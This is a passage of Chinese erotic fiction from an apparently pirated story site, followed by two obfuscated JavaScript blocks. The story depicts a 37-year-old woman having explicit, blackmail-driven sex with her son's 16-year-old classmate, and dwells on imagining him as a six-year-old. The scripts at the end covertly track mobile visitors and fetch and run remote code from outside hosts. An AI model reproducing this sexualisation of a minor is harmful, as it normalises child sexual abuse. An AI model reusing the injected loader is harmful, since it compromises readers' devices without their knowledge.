淑媛本可一脚将董事长踹下床去,但是见董事长辛苦的满头大汗,便打消此意。她象征性的稍作抵抗,便张开大腿,让董事长怒耸的阳具,顺利的插入自己湿滑的穴内。

即将濒临高潮的淑媛,哼哼唧唧的发出了快意的呻吟,嫩白的大腿也高高的举起,不时的向上蹬踹。此时董事长感觉疲惫,他放缓了速度,想要稍事休息,情急的淑媛,哪里还等得及?她摆出暴虐女王的架式,伸手就是一个耳光,打得董事长脸颊一歪。

筋疲力尽的董事长,瘫软在淑媛身上,不停的喘着大气。他虽然累得半死,但却掩不住心头的欢愉。淑媛看着他青肿的面颊,不禁产生歉疚的心理。她在心中天人交战了好一会,终于有了决定:“今天宁可牺牲点形象,也要让他称心如意!”

俩人到浴室清洁身体,淑媛按照计划,蹲身马桶之上。董事长果然变态的蹲伏到她身下,欲待欣赏她解手的妙姿;她假意生气,白了董事长一眼,董事长却益发的兴奋期待。头一遭在男人注视下撒尿的淑媛,半晌才克服心理障碍,有了尿意。

董事长不嫌腥骚,如饮甘霖般的,尽行咽下口中的尿液,萎靡不振的弟弟,又复激昂的挺举。

他激动的泪流满面,并凑上淑媛的阴户,舔唆残余的尿液。泪水尿液相互混杂着,直往下滴,教人分不清到底是泪水还是尿液。

蔡美丽和三个小男生,很快就熟稔得无话不谈,对于淑媛也就更加的了解。就连小钢邀请死党一块偷窥淑媛洗澡的隐私,也都在闲聊中一一为她获悉。至于小钢及三个死党对淑媛怀有淫秽的幻想,那更是逃不过她锐利的法眼。为此,她对淑媛也更加的好奇。这到底是什么样的女人啊?为什么这些大小男生,都情不自禁的为她着迷?

随着大选脚步的逼近,各行各业纷纷表态选边,董事长身为银行公会的理事主席,当然也需有所表现。单纯的表态是不够的,还必需辅以大型的造势餐会,方能显示董事长的分量与实力。

餐会结束,董事长和几个酒肉朋友带着相熟的莺莺燕燕,另觅场所继续喝酒唱歌,蔡美丽及淑媛也赫然在列。蔡美丽心中暗喜,心想:“这下子可轮到我来表现了吧!”原来方才两人同坐一桌,席间淑媛谈吐得体,气质优雅;蔡美丽不但插不上嘴,就连有些话题都听不懂,因此不由自主的就产生自惭形秽的感觉。

“啊呀!李经理,你怎么都不唱呢?来啦!表现一下嘛!”她这么一说,众人纷纷起哄,淑媛无奈,只得点了首翁倩玉的老歌《恋爱的路多么甜》。随着旋律唱了起来。

她方唱了两句,蔡美丽便大感后悔,淑媛的嗓音圆润柔和,节拍也掌握得恰到好处,不但丝毫不逊于她,甚至于还有过之。

优美的歌声,熟悉的歌词,众人瞬间仿佛回到了从前,也都忆起自己青春年少时,甜蜜苦涩的初恋滋味。歌声方歇,安可声不断,淑媛只得又唱了首凤飞飞的中古歌。

“相思好像小蚂蚁,爬呀爬在我心底,尤其在那静静的寂寞夜里,在我心游移,啊我好想你,相呀相思,说是痛苦也甜蜜……”

这些老歌,对于年华渐逝的男人们,可真是声声打入了心坎。柔情蜜意,伴随着过往的回忆,竟使得原本充塞情色气氛的场所,仿佛成为一场怀旧的心灵飨宴。

这天轮到土豆供应豆浆,蔡美丽余怒未消,一面和土豆作爱,一面就嘘嘘叨叨的将话题转到了淑媛身上。小钢这三个死党,大头看起来最机灵,土豆看起来最木讷。但实际上却刚好相反,土豆才真是一只会咬人的狗;这由上次他瞒住同伴,独自去猥亵淑媛,便可见一斑。

他见蔡美丽对淑媛似乎有特别的兴趣,于是就怂恿道:“其实大姐也不用东问西问的,只要找征信社调查一下,就什么都知道了……”

土豆打断她道:“大姐,你要是真有需要,我堂哥就在征信社,保证便宜,又靠得住……”

蔡美丽原本对请征信社,并没多大兴趣,但在土豆一再怂恿下,便也无可无不可的,答应了由土豆负责全权接洽。土豆的堂哥没给公司知道,自己吃下了这个案子;言明一天五千元,一个星期结案。总价三万五,给土豆五千吃红,堂哥实收三万元。土豆跑去跟蔡美丽报价五万,一来一往,当场就赚了两万。

蔡美丽心想,这种资料,对董事长的正牌老婆大概有用,可是对她这个连小老婆都还算不上的包养情妇而言,真是屁用也没有。她心中不禁埋怨起来:“都是土豆这小鬼,光顾着替他堂哥拉生意,害我白花这笔钱……”

(九)

土豆心想:“最好先弄到师母作爱的照片,或是录影带,然后亮给她瞧瞧;这样一来,师母定然会乖乖的就范。”他兴致勃勃的跑去找堂哥设法。堂哥一听土豆并非受蔡美丽委托,而是自个想要这些资料,心中不免有些不快。

他想,这事如真要作,不但没钱可赚,还要担上风险,于是推诿的道:“偷装摄影设备如果被发现,会吃上官司的。况且没人委托,公司也不允许我使用那些昂贵的器材……”

堂哥狐疑的望着他道:“干嘛啊?看A片不是更精彩?”。堂哥不肯帮忙,土豆只得自行设法。

小套房位于大厦的顶层,楼下虽有一名警卫,但仅是虚有其表,聊备一格罢了。土豆背着书包,大摇大摆的走了进去,警卫连问都不问。他搭乘电梯直上顶楼,出了电梯有三个住宅单位,他对了门牌号码,淑媛幽会的是靠左边的一户。经过一阵观察,他发现三户都无人在内,居中的那户更是连门也没关。

他正准备翻看衣柜之际,忽地传来钥匙转动声,他心头狂跳,紧张莫名。那种东窗事发的恐惧心理,使他不由自主的全身颤抖,他一伏身钻入床下,此时房门已开,淑媛与董事长走了进来。

俩人在客厅中坐着闲聊,一时并未进入卧房,趴伏床下的土豆,心中又喜又愁。喜的是好戏即将登场,自己可以大饱眼福;愁的是藏身床下,不知要被困到何时?床下空间狭小,土豆实是辗转难安。

“嘻!紧要关头,谁顾得了那么多?唉哟!等一下嘛!”

俩人边调笑边走近床边,土豆只见穿着高跟鞋的纤美小腿伫立在自己眼前。

“女王,你先别洗,我最喜欢你身上的原味。你坐一下,我先去洗。”

土豆心想:“这老家伙倒跟我是同好!”淑媛褪去衣服鞋袜,坐在床沿,她晃荡着双脚,觉得无比的轻松。

美足脱离了他的视线,走到梳妆台前,只听一阵悉悉蓑蓑的细碎声响,似乎师母在换衣服。他大着胆探头一望,不禁目瞪口呆,险些个当场泄了出来。只见师母换上了一套,吊袜带式样的黑色性感内衣。

那内衣,胸前只有眼镜般的圈状细绳,兜住双乳;两个白嫩嫩的大奶,整个裸露在外。腰际细绳环绕,连接长筒吊袜;内裤裆间中空,露出修剪整齐的阴毛及蜜桃般饱满的阴户。

董事长要求淑媛,将其铐在床上;淑媛见他越来越变态,本不想答应,但董事长极尽卑微,苦苦哀求。淑媛詏不过,只得取出手铐将他铐了起来。土豆在床下,只听见师母一连串的辱骂,夹杂着藤鞭击打声、老头的哀号声,以及一种怪异的喳嘴声。他充满了好奇,便悄悄掀开床单,望向面对大床的梳妆台。

“不要脸的贱货!龌龊的老不羞!也不照照镜子,简直癞蛤蟆想吃天鹅肉!你倒说说看,女王为什么要答应你?”

“女王,求求你,我实在忍无可忍了,快让我进去吧!”

“嗯!只要你说得出,我这里有什么好?我就让你进来。”

“女王,你那儿又嫩又软,又湿又滑;进去了以后,裹得紧紧的,吸得酥酥的,感觉上暖暖的,就像进了天堂一样。”

手机突如其来的响了起来,室内的三人都吓了一跳,淑媛将董事长的手机取来,放置董事长耳边。只听董事长一叠声的“是、是、是”。而后慌张的要淑媛解开手铐,立刻起身穿衣。

“他妈的!忘了今晚有造势大会,总统可能也会去。刚才是秘书长的电话,不去不行。这样好了,我先赶过去,你洗个澡收拾一下,自己慢慢回去好了。”

董事长匆匆忙忙的走了,淑媛脱下身上怪异的装扮,准备进入浴室清洗。突然,背后有人掩住她的嘴,并将她推倒在床上。她吓得身体瘫软,惊惧莫名。待看清来人,她不禁更为惊讶。

“师母,你不要怕,我放开手,你不要叫,好不好?”土豆紧张的说道。

土豆其实也紧张的要命,但是见淑媛慌乱的模样,他不禁有一种占上风的感觉:“师母,你别紧张,小钢他不知道。只要你好好配合,我就不会告诉他,你放心好了。”

淑媛一听,心头稍安。此时土豆已兴奋的捧着淑媛的纤纤玉足,在那欣赏嗅闻。

逐渐恢复平静的淑媛,在他舔吮啃咬之下,也不禁觉得搔痒动情。她心想:“一定要好好地拢络这小鬼,否则他出去乱讲,自己可真要身败名裂,家破人亡了。”土豆越舔越有精神,坚挺的阳具也更形粗壮。

有心的淑媛,伸出空着的右脚,轻搔土豆的下体,那纤细棉软的脚趾,灵活的在肛门与阴囊间游移;土豆舒服的全身直抖,怒耸的阳具也一颤一颤的猛点着头。经过蔡美丽调教过的土豆,如今已非吴下阿蒙,他一边舔吮,一边观察淑媛的反应。

被董事长挑起欲火,却又半途而废的淑媛,本就感到极端的空虚。如今土豆粗壮的阳具,一家伙捅了进来;她只觉得火热的肉棒,突然填满了空隙,那种充实饱胀的感觉,真是酣爽畅快,过瘾非凡。

对淑媛而言,自己三十七岁的身体,却被十六岁的小男生占有;而这个小男生,竟然还是儿子的同学。这种违反伦常礼教的败德行为,深深悸动她的心灵,也使得她感官上的触觉,愈发显的敏锐。

十六岁的阳具在三十七岁的成熟蜜穴中,竟然显得无比的契合。年轻的阳具充满活力,不断的在体内冲刺,酥酥痒痒的感觉逐渐的蔓延。飘飘然的淑媛,脑际突然出现一个怪异的想法。

如果将时间往前推十年,那不就等于二十七岁的自己正和六岁的土豆性交?这种想法,使她格外的兴奋。她只觉全身痉挛,不停的冷颤,在瞬间,她达到了从所未有的高潮。

(十)

董事长最近显得意气消沉,大选揭晓,他选错了边。新人尚未上台已是磨刀霍霍,誓言扫除黑金。检调单位急于立功,也开始到银行东查西问。过去大伙都视为平常的事情,如今却被戴上五鬼搬运、超额冒贷等大帽子,而痛加挞伐。

唯恐天下不乱的新闻媒体,更是加油添醋制造新闻。炙手可热的董事长,一夕之间竟成了过街老鼠,再也不复往日的叱咤雄风。心情恶劣的他,既要调度大量资金应付金检,又要面对即将到来的司法调查,心力交瘁之下,实是无心再和淑媛幽会。

淑媛望着意志消沉,陡然苍老的董事长,心中轻叹了一口气,暗想:“男人也真可怜,在别人面前,总要装得坚强无比,私底下却是如此的脆弱。一旦遭受挫折打击,表现的简直就像无助的孩子。”

他觉得自己是如此的无助,一手创建的金融王国,瞬间即将毁在丑恶的政治斗争下,而他面对庞大的国家机器,却根本不知如何去对抗。他越想越伤心,轻声呜咽转为号啕大哭。而淑媛就像慈母般的,搂着董事长,并极尽温柔的安慰着他。

他翻身而起,掰开淑媛两片娇嫩的阴唇,嘴一贴,就施展他最擅长的口舌功夫。在舌浪翻飞下,淑媛也迅快的燃起官能之火,她拉着董事长的耳朵,下体不断的挺耸,满脸沾满淫液的董事长,几乎被她下面那张热情的小嘴,亲吻得暂时停止了唿吸。

俩人连成了一体,相拥而坐,淑媛采取主动。她跨坐在董事长的腿上,体位较高,因此挺耸之际,两个白嫩嫩的大奶,不停晃动撞击着董事长的面颊。董事长被撞得乐唿唿、晕陶陶的如在梦中,他忙不迭的张嘴补捉,那如樱桃般鲜嫩的乳头。

作爱是疏解压力的最佳良方,董事长恢复了往日的自信,他冷静的向淑媛分析了,日后可能的演变,并告诉淑媛,已替她安排了稳当的后路。

“……董事会必定改组,你的职位未必保得住;我已经以你的名义吃下了一家投顾公司,万一分行经理没了,你就去投顾当董事长,再怎么样也扯不到你。这套房早就办了买卖过户,也没问题,就给你当纪念吧!以后我们不要再接触,免得节外生枝……”

淑媛的后庭犹是处女地,从来未经人事,因此不免有些害怕。但在这种特殊情形下,她又不忍拒绝董事长。董事长以舌尖轻柔的舔呧,并尝试向里钻探。淑媛只觉一股奇异的酥痒,电流般的直往骨子里钻,一时之间,丰沛的淫水泉涌而出。

董事长吸吮淫水,吐于肛门部位,花蕾湿滑,幽径渐通,董事长扶着阳具,一分一寸的向前挺进。淑媛就像初夜破瓜一般,感到一阵剧痛,她臀部紧缩欲待逃避,但董事长大力一挺,瞬间已成为淑媛此处的第一个男人。

中止与董事长的幽会,对淑媛来说,真是减轻了一大负担。因为最近,她实在是太忙了。慢工细磨的董事长,近水楼台的小钢,食髓知味的土豆。她周旋于三人之间,真是东忙西就,应接不暇。如今少了董事长,她一时之间顿感轻松,竟有偷得浮生半日闲的感觉。

蔡美丽拿水果、递饮料,亲切的招待几人坐定后,略带伤感的道:“今天找你们来,主要是告诉你们一声,以后可能没办法,再和大家一块玩了。今天就算是毕业典礼吧!”

四人一听,齐齐愣住,愣了一会,异口同声的问道:“为什么?”

小钢打破沉默,开口道:“大姐,你不要难过,我……我们都支持你……”他说了一半,莫名其妙的感到难过,语气竟哽咽了起来。众人受到感染,不禁也鼻头发酸,泫然欲泣。蔡美丽一看,这样子下去气氛搞坏了,可不是大家难过?于是发挥她的专长,摆出笑脸,说了段话。

四个小男生,听了真是又感动又难过,心理酸甜苦辣,诸味杂陈,赶忙发誓赌咒,日后绝不辜负大姐。蔡美丽见四人言辞恳切,情深意重的模样,心中不禁有所感慨:“唉!还是小男生可爱,起码他们现在都是真心的。不像外面那些小白脸,钱一到手就走人。唉!怎么说呢?”

餐后,四人与蔡美丽互道珍重,依依作别。此时天气忽变,飘雨起风;踽踽独行的蔡美丽,飘散着秀发行在暗夜的风雨中,感觉上,竟是无比的孤单凄凉。目送蔡美丽离去的四人,怀着淡淡的惆怅,望着她纤细的身影,禁不住已是热泪盈眶……

(十一、完)

获悉淑媛和董事长奸情的土豆,肆无忌惮的要求淑媛,满足他旺盛而变态的情欲。尤其甚者,当他知道淑媛已不再和董事长幽会后,更变本加厉的,索取了小套房的钥匙。他性致一来,就自行至套房内等待,并猛打电话催促淑媛,俨然一副喧宾夺主的架式。

他也利用淑媛濒临高潮,精神恍惚之际,提出一些尖锐的问题,以刺探淑媛内心的秘密。像有一次他就故意问淑媛,自己的床上功夫是不是不如小钢。淑媛虽掩饰得当,未露马脚;但对他这种超乎年龄的深沉邪恶,却也感到不寒而栗。

土豆自从尝到淑媛成熟美妙的滋味后,无可自拔的便陷溺于肉欲的漩涡中。淑媛的美足、玉腿、丰乳……在在均激发起他强烈的欲念,他随时随地都想着淑媛,想要搂着她疯狂的作爱。

情急的土豆迎上前去便动手动脚,淑媛不高兴的道:“你总要让我坐下来,先休息一下吧!”。土豆充耳不闻,他将淑媛推到沙发上坐着,三把两把,就将淑媛的鞋子、裤袜、内裤全给剥了下来。淑媛气得伸腿踹他,他顺手一捞,握住淑媛的脚,放在嘴边,便舔了起来。

土豆伸出舌头,喳了喳嘴,一副回味无穷的模样。他惫懒的道:“有事你就说嘛;你边说,我边舔,等你说完,我也把你的小骚屄给舔干净了。”话说完,他两手一分,拨开淑媛的大腿,把脸往前一凑,便起劲的舔吮淑媛的阴户。淑媛气得脸色铁青,但也无可奈何;过了会,她哼哼唧唧紧抱着土豆的头,看样子,土豆想不舔,还不行呢!

犹穿着银行制服的淑媛,在土豆眼中,有着一股特殊的异样风情。这几乎已成了固定的模式,淑媛虽厌恶惧怕土豆,但在他粗犷又略带暴力的侵袭下,敏感的身体很快的就起了反应。她内心虽极不愿继续和土豆发生关系,但生理上的自然反应,又非她所能控制。何况土豆握有她的把柄,她也怕土豆翻脸,因而摧毁了自己幸福的家庭。

矛盾的心理,反而激发强烈的欲情,淑媛每次和土豆在一起,几乎都是以冷漠始,以激情终。

在过程中,她总可获致无数次的高潮;这也让土豆产生一种错觉,认为淑媛是离不开他的;只有他,才可以带给淑媛,欲仙欲死的销魂滋味。

土豆心有不甘的道:“……你说老师回来后,要断绝我们的关系?老师都五十多了,他能满足你吗?你真的舍得我这一根吗?”他一边说,一边炫耀的将粗大的阳具凑近淑媛的面颊。

淑媛气极,但仍委婉的道:“话不是这么说,老师是我先生,我本来就不应该对不起他;何况如果被发现了,因而破坏了我的家庭,你难道愿意这样?”

老天特别眷顾淑媛,替她除去了心头大患。土豆当天回家途中,骑机车出了车祸,当场就结束了他年轻的生命。

淑媛第二天看报纸才知道这件事情,报上轻描淡写的报导了这起交通事故,但重点却放在死者口袋中的女用内裤:“……该内裤脱下应不满三小时,且沾有分泌物,唯与死亡原因无关,已发交家属领回……”

德光见淑媛娇美更胜往昔,小钢虎臂熊腰已经像个大人,心中真有说不出的欢喜。三人回家途中,像是有说不完的话,一路上叽叽喳喳,颇不寂寞。时差带来不适,德光到了家,精神松弛下,便倒头大睡。待得醒来,已是午夜时分;他悄悄起身至浴室沐浴,浴毕出来,只见淑媛蜷曲而卧,胴体尽裸,真是说不出的性感诱人。

德光自己也觉得不好意思,他呐呐的道:“唉!太久没亲热了,你又这么性感,我实在忍不住……”

欲情不满的淑媛,辗转反侧难以入眠,一旁的德光也不安分的蠢动了起来。德光再次进入,淑媛生怕他又半途而废,因此卖力的挺耸,想早一步到达高潮。德光只觉娇妻的下体,就像榨汁机一般不断的吸吮挤压,他一阵哆嗦,又已先行溃败。濒临高潮的淑媛,难过的几乎哭了出来,她气的转过身,不再理会德光。

到了紧要关头,她扭腰摆臀,疯狂挺耸,德光居然坚挺未泄,并继续强劲的抽动。她彻底的舒服了,方才累积的郁结,也一扫而空。她诧异的开灯察看,德光那判若两人的肉棒,结果却大吃一惊。只见德光腰上套着一根,硬梆梆的假阳具,而他自己的那根真货,却软趴趴的垂在那儿。

德光边说边从包包里捧出七、八根形形色色的各类型阳具;淑媛看得眼花撩乱,却也不禁春心荡漾。她拿起一根带有颗粒的黑人阳具,羞赧的对德光说道:“待会……我们试试这一根,好不好?……”

(《乱续之章》全篇告终)

**********************************************************************

后记:

文中的淑媛,是现代职业妇女的缩影,她给人的印像是:端庄娴雅,雍容华贵,但掀开她外在的包装,她一样是有血、有肉、有情、有欲的。另一女角蔡美丽,在淫荡的外表下,亦有善良的本性;只是在现实生活压力下,她必须作出自我的选择。在我们周遭,有许多淑媛、蔡美丽,只不过我们不认识她们。

以长远的眼光而言,写色文的朋友们不需妄自菲薄,也应该在文字、修辞、论理上下功夫。因为有一天,情色文学终究也会如武侠小说一般,跃上台面。

届时如满篇都是污言秽语,男的都是变态色狼、女的都是淫娃荡妇,毫无道理就胡搞一通,莫名其妙就唉唉直叫;那又如何能传之久远,而在文坛博得一席之地呢?拉杂闲扯,谨与有心创作色文的朋友们,共勉之。

大姐姐2000.7.28


上一篇:海上旖情记-石库门里的秘密

下一篇:惠茹的故事


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};